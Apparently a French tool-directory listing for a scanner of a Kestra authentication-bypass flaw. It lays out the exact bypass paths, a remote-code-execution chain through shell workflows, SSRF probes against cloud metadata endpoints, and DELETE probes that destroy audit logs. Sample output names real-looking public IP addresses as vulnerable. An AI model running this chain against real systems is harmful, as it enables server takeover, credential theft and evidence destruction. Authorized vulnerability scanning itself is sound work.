Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-49869 — Kestra Auth-Bypass Vulnerability Checker | Kitploit
Outils/GitHubGitHub/ap0dexme0/cve-2026-49869
Scanners de VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleAuthentification
GitHubap0dexme0/cve-2026-49869

CVE-2026-49869

Kestra Auth-Bypass Vulnerability Checker

Voir le dépôt
15il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Scanneur Kestra CVE-2026-49869 / CVE-2026-53576

Scanne les instances Kestra pour le contournement du filtre d'authentification endsWith("/configs"). Le AuthenticationFilter.java de Kestra vérifie request.getPath().endsWith("/configs") au lieu de correspondre au chemin exact /api/v1/configs. Comme Kestra adresse les ressources via des segments de chemin choisis par l'appelant (namespace, flow ID), tout chemin se terminant par /configs contourne l'authentification de base, permettant la création non authentifiée de workflows et l'exécution de code à distance (RCE). (CVSS 10.0)

Références :

  • GHSA-5vc5-wxxq-3fjx
  • TP-2026-009
  • CVE-2026-49869 Authentification incorrecte / Injection de commande OS / Liste incomplète des entrées interdites
  • CVE-2026-53576

Logique de détection

Télécharger l’outil
  • Vérification de disponibilité + version GET /api/v1/configs (doit retourner 200 ; le corps de la réponse est analysé pour la version de Kestra)
  • Vérification d'authentification GET /api/v1/{tenant}/flows (doit retourner 401/403 si l'authentification est appliquée)
  • Sondes de contournement 6 requêtes GET vers des chemins se terminant par /configs ; si l'une d'elles retourne autre chose que 401/403 alors que la vérification d'authentification est appliquée, l'instance est vulnérable
  • Mode agressif (--aggressive) envoie également des requêtes PUT pour confirmer la capacité de contournement en écriture
  • Vérification RCE (--rce) chaîne complète : créer un workflow shell/python → déclencher l'exécution → récupérer les logs → confirmer l'exécution de code → nettoyer
  • Détection SSRF (--ssrf) crée un workflow avec le http() de Pebble ciblant les métadonnées cloud AWS/GCP/Azure et les points de terminaison internes, puis vérifie les logs pour trouver des preuves
  • Sondes DELETE (--destructive) envoie des DELETE vers les chemins de contournement des flows, tableaux de bord et logs pour confirmer le contournement des opérations destructives
  • Points de terminaison des sondes

    Sondes sûres (par défaut)

    SondeMéthodeCheminDescription
    Configs publiquesGET/api/v1/configsVérification de disponibilité + extraction de version
    Normal protégéGET/api/v1/{tenant}/flowsBase de référence de l'application d'authentification
    Contournement FlowsGET/api/v1/{tenant}/flows/{namespace}/configsContournement de liste des flows
    Contournement ExécutionsGET/api/v1/{tenant}/executions/{namespace}/configsContournement d'exécutions
    Contournement KV StoreGET/api/v1/{tenant}/namespaces/{namespace}/kv/configsContournement de lecture KV
    Contournement Tableaux de bordGET/api/v1/{tenant}/dashboards/configsContournement de tableaux de bord
    Contournement LogsGET/api/v1/{tenant}/logs/{namespace}/configsContournement d'accès aux logs
    Contournement ModèlesGET/api/v1/{tenant}/templates/{namespace}/configsContournement de lecture des modèles

    Sondes agressives (--aggressive)

    SondeMéthodeCheminDescription
    PUT Contournement FlowsPUTidentique au Contournement FlowsCrée un workflow minimal debug.Return
    PUT Contournement KVPUTidentique au Contournement KVCrée une entrée KV {"scanned": true}

    Sondes destructives (--destructive)

    SondeMéthodeCheminDescription
    DELETE Contournement FlowsDELETEidentique au Contournement FlowsSupprime une ressource nommée "configs"
    DELETE Contournement Tableaux de bordDELETEidentique au Contournement Tableaux de bordSupprime un tableau de bord nommé "configs"
    DELETE Contournement LogsDELETEidentique au Contournement LogsDétruit les logs d'audit

    Chaîne de vérification RCE (--rce)

    S'exécute uniquement lorsque le contournement d'authentification est confirmé. La chaîne complète issue de l'avis :

    ÉtapeMéthodeCheminDescription
    1. Créer un workflow RCEPUT/api/v1/{tenant}/flows/{namespace}/configsDéploie un workflow avec io.kestra.plugin.scripts.shell.Commands (echo <marker>, id, hostname). Recourt à io.kestra.plugin.scripts.python.Script en cas d'échec.
    2. Déclencher l'exécutionPOST/api/v1/{tenant}/executions/{namespace}/configsDémarre le workflow via le chemin de contournement
    3. Interroger les logsGET/api/v1/{tenant}/logs/search?executionId=<id>Interroge jusqu'à --poll-retries fois (par défaut 10) toutes les --poll-interval secondes (par défaut 3) à la recherche du marqueur RCE unique
    4. NettoyageDELETEidentique à l'étape 1Supprime le workflow déployé

    Chaîne de détection SSRF (--ssrf)

    S'exécute uniquement lorsque le contournement d'authentification est confirmé :

    ÉtapeMéthodeCheminDescription
    1. Créer un workflow SSRFPUT/api/v1/{tenant}/flows/{namespace}/configsDéploie une tâche debug.Return avec des appels http() Pebble vers AWS (169.254.169.254/latest/meta-data/ami-id), GCP (metadata.google.internal), Azure (169.254.169.254/metadata/instance) et interne (127.0.0.1:8080/api/v1/configs)
    2. Déclencher l'exécutionPOSTidentique à l'étape 2 RCEDéclenche le workflow
    3. Interroger les logsGET/api/v1/{tenant}/logs/search?executionId=<id>Vérifie la présence d'indicateurs de métadonnées cloud (ami-, i-, 169.254.169.254, metadata.google.internal, etc.)
    4. NettoyageDELETEidentique à l'étape 1Supprime le workflow déployé

    Référence CLI

    root@kitploit:~
    positionnel :
      target                          URL cible unique (ex. http://localhost:8080)
    
    options :
      -f, --file                      Fichier contenant les cibles (une par ligne)
      -t, --timeout                   Délai d'attente de la requête en secondes (par défaut : 10)
      --verify-ssl                    Vérifier les certificats TLS
      -j, --json                      Sortie JSON sur stdout
      -o, --output                    Écrire le rapport JSON dans un fichier
      --tenant                        Nom du locataire (par défaut : "main")
      --namespace                     Espace de noms pour les chemins de contournement (par défaut : "tutorial")
      -w, --workers                   Nombre de threads pour les scans en masse (par défaut : 10)
      -a, --aggressive                Envoyer des requêtes PUT pour confirmer le contournement en écriture
      -P, --auto-ports                Ports pour l'expansion automatique (par défaut : 8080 8081 8088 8091 80 443)
    
    sondes avancées :
      -r, --rce                       Activer la chaîne de vérification RCE (workflow shell + python,
                                       déclenchement d'exécution, récupération des logs, nettoyage automatique)
      -s, --ssrf                      Activer la détection SSRF (http() Pebble vers les points de terminaison
                                       de métadonnées cloud, collecte de preuves basée sur les logs)
      -d, --destructive               Activer les sondes DELETE sur les flows, tableaux de bord et logs
                                       (SUPPRIMERA des ressources sur les instances vulnérables)
      --poll-interval                 Secondes entre les interrogations des logs pour les chaînes RCE/SSRF (par défaut : 3)
      --poll-retries                  Nombre maximal de tentatives d'interrogation des logs pour les chaînes RCE/SSRF (par défaut : 10)
    

    Sortie

    Cible unique

    Détail complet par sonde avec enrichissement (version, état RCE/SSRF/DELETE) et verdict :

    root@kitploit:~
    ====================================================================
      Target:    http://10.0.0.1:8080
      Timestamp: 2026-06-30T12:00:00+00:00
    ====================================================================
    
      Version:      1.3.20 (AFFECTED)
      RCE:          CONFIRMED via shell
        | SCAN_RCE_a1b2c3d4e5f6
        | uid=0(root) gid=0(root) groups=0(root)
      SSRF:         DETECTED
        | Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
      DELETE BYPASS: CONFIRMED destructive ops bypass auth
    
      [Flows Bypass]
        URL:         http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
        Status:       200
        Bypass:      YES
    
      [Exec Bypass]
        URL:         http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
        Status:       404
        Bypass:      No
    
      ...
    
      ── RCE Verification Chain ──
        Flow Create: 201
        Exec Trigger: 201
        Log Evidence: 200
          > SCAN_RCE_a1b2c3d4e5f6
          > uid=0(root) gid=0(root) groups=0(root)
        Flow Cleanup: 204
    
      ── SSRF Detection Chain ──
        Flow Create: 201
        Exec Trigger: 201
        Evidence: 200
          Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
        Flow Cleanup: 204
    
      [VULN]  Verdict: VULNERABLE ...
    ====================================================================
    

    Résumé en masse

    Tableau colonnaire trié avec colonnes indicateurs RCE/SSRF/DEL :

    root@kitploit:~
    ========================================================================================================================================
      BULK SCAN SUMMARY   GHSA-5vc5-wxxq-3fjx  |  CVE-2026-49869 / CVE-2026-53576
    ========================================================================================================================================
      #    Target                          Auth   Flows  Exec   KV     Dash   Logs   Tmpl   RCE    SSRF   DEL    Ver
      ---------------------------------------------------------------------------------------------------------------------------------------
      1    http://173.249.1.26:8080        401    404    ERR    ERR    ERR    405    404    YES    YES    YES    RCE!
      2    http://207.180.207.199:8080     401    404    ERR    ERR    ERR    405    404    INC    -      YES    VULN
      ...
      30   http://103.115.65.228:8080      401    401    ERR    401    ERR    401    401    -      -      -      SAFE
      ...
    ========================================================================================================================================
      Total: 258  |  Vulnerable: 5  |  RCE Confirmed: 1  |  SSRF Detected: 1  |  DEL Bypass: 2  |  Safe: 29  |  Inconclusive: 224
    ========================================================================================================================================
    

    Codes de sortie : 0 = aucune vulnérabilité, 1 = vulnérabilité trouvée, 2 = tout non concluant.

    Rapport JSON

    Lors de l'utilisation de -j ou -o, la sortie inclut des champs d'enrichissement par cible :

    root@kitploit:~
    {
      "scan_info": {
        "scanner": "kestra_cve v2.0.0",
        "cve": ["CVE-2026-49869", "CVE-2026-53576"],
        "aggressive": true,
        "rce": true,
        "ssrf": true,
        "destructive": true
      },
      "results": [
        {
          "target": "http://10.0.0.1:8080",
          "vulnerable": true,
          "version": "1.3.20",
          "version_in_affected_range": true,
          "rce_confirmed": true,
          "rce_method": "shell",
          "rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
          "ssrf_detected": true,
          "ssrf_evidence": "Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080",
          "delete_bypass": true,
          "probes": { "..." : "..." }
        }
      ],
      "summary": {
        "total": 258,
        "vulnerable": 5,
        "rce_confirmed": 1,
        "ssrf_detected": 1,
        "delete_bypass": 2,
        "safe": 29,
        "inconclusive": 224
      }
    }
    

    Détection de version

    Le scanneur extrait automatiquement la version de Kestra de la réponse GET /api/v1/configs et la classe :

    VersionClassification
    <= 1.0.44AFFECTÉE (branche 1.0, avant le correctif)
    >= 1.0.45Corrigée (branche 1.0)
    1.3.0 1.3.20AFFECTÉE (branche 1.3, avant le correctif)
    >= 1.3.21Corrigée (branche 1.3)
    >= 1.4.0Corrigée (plus récente que la plage affectée)
    InconnueVersion non trouvée dans la réponse

    Ceci utilise une comparaison tenant compte de la branche, car Kestra maintient des branches de correctifs séparées (1.0.x et 1.3.x).

    v1.0.0

    • Première version avec sondes GET sûres, sondes PUT agressives, scan en masse et sortie JSON

    Installation

    Nécessite Python 3.10+.

    root@kitploit:~
    pip install -r requirements.txt
    python main.py --help
    

    Avertissement

    Pour tests défensifs autorisés uniquement. Les options --rce et --destructive créent et exécutent des ressources réelles sur la cible. Obtenez toujours une autorisation écrite appropriée avant de scanner des systèmes dont vous n'êtes pas propriétaire.